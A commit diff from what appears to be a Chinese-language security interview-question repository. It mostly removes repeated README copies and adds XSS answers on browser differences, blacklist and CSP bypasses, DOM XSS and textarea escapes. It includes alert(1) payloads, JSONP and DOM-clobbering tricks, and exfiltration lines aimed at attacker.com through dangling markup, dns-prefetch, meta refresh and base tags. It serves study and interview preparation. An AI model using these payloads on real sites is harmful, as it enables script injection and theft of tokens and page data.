update xss
This commit is contained in:
duckpigdog
@@ -1 +0,0 @@
|
||||
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -0,0 +1,46 @@
|
||||
### 为什么很多 XSS 在 Chrome 可以复现，但在 Firefox 不行？你如何判断这是漏洞问题还是浏览器差异？
|
||||
|
||||
**1. 为什么 Chrome 能行，Firefox 不行？**
|
||||
|
||||
这种情况通常由以下三个核心原因引起：
|
||||
|
||||
**A. 解析器状态机的处理差异**
|
||||
|
||||
虽然 HTML5 有标准规范，但内核实现（Chromium 的 **Blink** vs Firefox 的 **Gecko**）在处理“非法”或“畸形”代码时逻辑不同
|
||||
|
||||
- **例子**：对于 `location=/\02.rs/` 这种利用反斜杠规范化的 Payload，Chromium 倾向于将其“宽容”地纠正为协议相对路径 `//`，而 Firefox 的解析器可能更加严格，将其视为合法的本地相对路径，从而导致跳转失败
|
||||
|
||||
**B. 过滤机制与 XSS Auditor (历史上)**
|
||||
|
||||
虽然 Chrome 已经移除了内置的 XSS Auditor，但 Chromium 内核在处理 **URL 编码/解码** 以及 **MIME 类型猜解 (MIME Sniffing)** 时比 Firefox 更“灵活”
|
||||
|
||||
- Firefox 对 `Content-Type` 的检查通常更死板。如果服务器返回 `text/plain` 但内容包含 HTML，Chrome 可能会尝试渲染（触发 XSS），而 Firefox 则会将其下载或作为纯文本显示
|
||||
|
||||
**C. 安全机制的默认强度**
|
||||
|
||||
- **内联事件处理**：Firefox 在某些版本中对伪协议（如 `javascript:`）在 `iframe` 或特定标签中的执行有更严格的上下文隔离
|
||||
- **对 `noscript` 或特殊标签的解析**：某些标签在不同浏览器中的“自闭合”逻辑不同，导致 Payload 逃逸失败
|
||||
|
||||
**2. 如何判断是“漏洞问题”还是“浏览器差异”？**
|
||||
|
||||
当我们遇到“Chrome 弹窗，Firefox 没反应”时，我会通过以下步骤进行定性分析：
|
||||
|
||||
**第一步：检查控制台 (Console) 报错**
|
||||
|
||||
这是最直观的方法
|
||||
|
||||
- **浏览器差异**：如果在 Firefox 控制台看到 `Content Security Policy: The page's settings blocked the loading of a resource...` 而 Chrome 没报，说明是 **CSP 策略兼容性**问题
|
||||
- **漏洞失效**：如果看到 `SyntaxError`，说明 Payload 在 Firefox 的 JS 引擎中存在语法错误，这属于 **Payload 构造的健壮性**问题
|
||||
|
||||
**第二步：对比 DOM 树结构**
|
||||
|
||||
我会同时在两个浏览器中打开开发者工具，观察注入后的 **Elements 树**
|
||||
|
||||
- 如果在 Chrome 中 Payload 成功逃逸出了标签（例如变成了独立的 `<script>`），但在 Firefox 中它仍然被包裹在一个属性或注释里，这说明是 **HTML 解析器差异**
|
||||
|
||||
**第三步：环境净化测试**
|
||||
|
||||
- **实验**：将同样的 Payload 放在一个最简单的本地 `.html` 文件中运行
|
||||
- **判定**：
|
||||
- 如果本地运行两个都弹窗，但线上只有 Chrome 弹：说明是 **WAF 或后端过滤逻辑** 刚好只被 Chrome 的某种解析特性绕过了
|
||||
- 如果本地运行依然只有 Chrome 弹：说明这纯粹是 **浏览器底层特性利用**（浏览器 Bug 或特性），不属于通用 Web 漏洞
|
||||
@@ -0,0 +1,27 @@
|
||||
### 黑名单拦截了所有常见标签和事件，但页面仍然需要支持富文本渲染，你会从哪些方向尝试突破？
|
||||
|
||||
1. 黑名单通常基于已知的威胁列表，但 HTML 标准在不断演进，总有漏网之鱼
|
||||
|
||||
**多媒体标签的嵌套属性**：除了 `video`，还有 `audio`、`track`、`embed`
|
||||
|
||||
**交互式元素**：`details` 和 `summary` 标签
|
||||
|
||||
**SVG 内部的深层逻辑**：SVG 不仅仅是图片，它是 XML
|
||||
|
||||
|
||||
|
||||
2. 如果富文本允许 `style` 标签或 `style` 属性，即使无法执行 JS，也能造成极高危害
|
||||
|
||||
**利用 `content` 与伪元素**：在某些特定环境下，CSS 甚至可以触发特定的交互行为或点击劫持
|
||||
|
||||
|
||||
|
||||
3. 富文本渲染往往伴随着前端框架（如 Vue、Angular、React）
|
||||
|
||||
**双大括号语法**：如果后端直接把富文本内容丢进了前端模板的渲染区域，可以尝试注入模板指令
|
||||
|
||||
|
||||
|
||||
4. 黑名单通常使用正则匹配，而正则很难处理复杂的 HTML 解析状态
|
||||
|
||||
**利用畸形编码**：在支持富文本的编辑器（如 TinyMCE, CKEditor）中，测试其对 `\r`、`\n` 或 `\0` 的处理。有时编辑器会将这些字符过滤掉，但过滤后的字符串恰好拼凑成了恶意代码
|
||||
@@ -0,0 +1,48 @@
|
||||
### CSP 的绕过方式有哪些
|
||||
|
||||
**1. 配置缺陷类：`unsafe-inline` 与 `unsafe-eval`**
|
||||
|
||||
这是最常见的情况。很多开发者为了兼容旧代码，会开启这两个极其危险的指令
|
||||
|
||||
- **`unsafe-inline`**：允许执行内联脚本（如 `<script>alert(1)</script>` 或 `onclick` 事件）
|
||||
- **`unsafe-eval`**：允许使用 `eval()`、`setTimeout(string)`、`new Function()` 等将字符串转化为代码执行的函数。
|
||||
|
||||
**2. 白名单滥用类：利用“信任域”中的 Gadgets**
|
||||
|
||||
如果 CSP 允许了某个大厂的 CDN 或业务子域名（如 `script-src 'self' https://cdn.staticfile.org`），攻击者可以寻找该域名下的“跳板”
|
||||
|
||||
- **JSONP 绕过**：寻找白名单域名下的 JSONP 接口
|
||||
- **Payload**: `<script src="https://trusted.com/jsonp?callback=alert"></script>`
|
||||
- **AngularJS / Vue 库绕过**：如果白名单内包含这些前端框架，攻击者可以注入符合框架语法的 HTML 模板，利用框架内部的 `eval` 逻辑执行代码（即客户端模板注入 CSTI）
|
||||
- **开源库 Gadgets**：利用已知的库漏洞（如旧版 jQuery、Bootstrap），通过特定的 HTML 结构触发其内部的动态代码执行逻辑
|
||||
|
||||
**3. 同源策略绕过：文件上传与路径漏洞**
|
||||
|
||||
当 `script-src` 设置为 `'self'` 时，浏览器信任同源下的所有文件
|
||||
|
||||
- **文件上传劫持**：如果站点允许上传图片或文档，攻击者可以上传一个伪装成图片的 JS 文件（如 `evil.jpg`，内容为 JS 代码）
|
||||
- **攻击**：`<script src="/user/uploads/evil.jpg"></script>`
|
||||
- **路径截断与覆盖**：在某些复杂的 Web 架构中，利用路径跳转（Path Traversal）或服务器解析差异，尝试让浏览器去加载攻击者可控的静态资源
|
||||
|
||||
**4. DOM 破坏**
|
||||
|
||||
这是一种不需要违反 CSP `script-src` 规则的攻击方式
|
||||
|
||||
- **原理**：利用 HTML 标签的 `id` 或 `name` 属性，覆盖全局 JavaScript 变量
|
||||
- **绕过思路**：如果合法的 JS 代码逻辑依赖于某个全局变量（如 `window.config.url`），攻击者通过注入 `<a id="config"><a id="config" name="url" href="javascript:alert(1)">` 来修改该变量的值，从而改变合法脚本的执行流
|
||||
|
||||
**5. 数据外传**
|
||||
|
||||
如果无法执行脚本，攻击者的目标通常转向“窃取敏感数据”
|
||||
|
||||
- **悬挂标记注入（Dangling Markup）**： 利用不完整的标签（如 `<img src='https://attacker.com/log?`）将页面后续的内容（如 CSRF Token）作为 URL 参数带出
|
||||
- **DNS 预取（DNS Prefetching）**： 利用 `<link rel="dns-prefetch" href="//[data].attacker.com">`，通过观察 DNS 日志来逐字节带出数据
|
||||
- **利用 `meta` 标签**： 注入 `<meta http-equiv="refresh" content="0; url=https://attacker.com/?data=...">` 强制跳转
|
||||
|
||||
**6. 绕过 `nonce` 和 `hash`**
|
||||
|
||||
现代严格的 CSP 会使用 `nonce`（一次性随机数）或 `hash`
|
||||
|
||||
- **Nonce 泄露**：如果页面存在悬挂标记漏洞或其他注入点，可能导致当前页面的 `nonce` 被读取
|
||||
- **缓存污染**：利用某些缓存机制，尝试让浏览器加载并执行之前缓存的、带有旧 `nonce` 的脚本（较罕见）
|
||||
- **利用 Base 标签**：如果没有设置 `base-uri 'none'`，注入 `<base href="https://attacker.com/">` 可能会导致页面上所有的相对路径脚本都请求到黑客的服务器
|
||||
@@ -0,0 +1,7 @@
|
||||
### 反射型、存储型、DOM 型 XSS 的核心区别
|
||||
|
||||
| 类型 | 数据是否存储 | 是否经过服务端 | 执行位置 |
|
||||
| ------ | ------------ | -------------- | ------------- |
|
||||
| 反射型 | ❌ | ✅ | 浏览器 |
|
||||
| 存储型 | ✅ | ✅ | 浏览器 |
|
||||
| DOM 型 | ❌ | ❌ | **纯前端 JS** |
|
||||
@@ -0,0 +1,8 @@
|
||||
### 为什么说 DOM XSS 对传统 WAF 基本免疫
|
||||
|
||||
在传统的 **反射型 XSS** 或 **存储型 XSS** 中，Payload 必须经过 HTTP 请求发送到服务器（WAF 就在这里把守），然后再由服务器返回给浏览器
|
||||
|
||||
而在 **DOM XSS** 中，攻击载荷往往隐藏在 **URL 锚点（#，Fragment）** 之后
|
||||
|
||||
- **URL 结构**：`https://example.com/page.html?name=val#<script>alert(1)</script>`
|
||||
- **WAF 的尴尬**：根据 HTTP 协议标准，**浏览器不会将 `#` 之后的内容发送给服务器**
|
||||
@@ -0,0 +1,17 @@
|
||||
### 如果你发现一个输入点最终进入了 `<textarea>`，你是直接放弃，还是继续深入？为什么？
|
||||
|
||||
`<textarea>` 属于 **RCDATA 元素**。浏览器在解析它时，会一直寻找闭合标签 `</textarea>`
|
||||
|
||||
- **深入策略**：我首先会测试是否能直接闭合标签
|
||||
- **Payload**：`</textarea><script>alert(1)</script>`
|
||||
|
||||
如果后端没有对 `</textarea>` 这一特定字符串进行过滤或转义，解析器会立即跳出“文本模式”回到“HTML 模式”，从而执行后面的脚本
|
||||
|
||||
有些 WAF 会过滤 `<script>`，但对换行符的处理非常粗糙
|
||||
|
||||
在某些环境下，利用换行符或不可见字符可能导致过滤器认为 Payload 已经结束，但浏览器却能将其连贯解析
|
||||
|
||||
```
|
||||
</textarea
|
||||
> <svg/onload=alert(1)>
|
||||
```
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1 +0,0 @@
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1 +0,0 @@
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
